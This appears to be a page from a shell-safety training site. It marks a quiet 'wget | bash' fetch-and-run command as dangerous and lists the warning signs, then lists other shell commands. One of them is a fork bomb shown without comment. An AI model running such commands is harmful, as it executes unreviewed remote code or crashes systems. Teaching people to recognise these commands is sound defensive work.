Dangerous
wget -qO- https://example.com/setup.sh | bashcross-platform · bash · Beginner
Fetches a remote script quietly and pipes it into a shell. -qO- suppresses progress output and writes the body to standard output, which means nothing is ever saved for review before it runs.
Signals to notice
- remote script executes without being written to disk or reviewed
- -q suppresses the output that would show what was fetched
Think you can spot these under time pressure?
Start TrainingMore Shell
cat ~/.bashrcIntermediate:(){ :|:& };:Intermediateawk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | headExpertexport PATH="$HOME/.local/bin:$PATH"Expertfind ./logs -type f -name '*.log' -mtime +7 -print0 | xargs -0 -P 4 -I{} sh -c 'gzip -9 "$1"' _ {}Nightmareawk 'BEGIN{FS=","} NR>1 && $3 ~ /^2[0-9]{2}$/ {c[$2]++} END{for (k in c) printf "%-24s %6d\n", k, c[k]}' ./access.csv | sort -k2 -rn | head -20Nightmare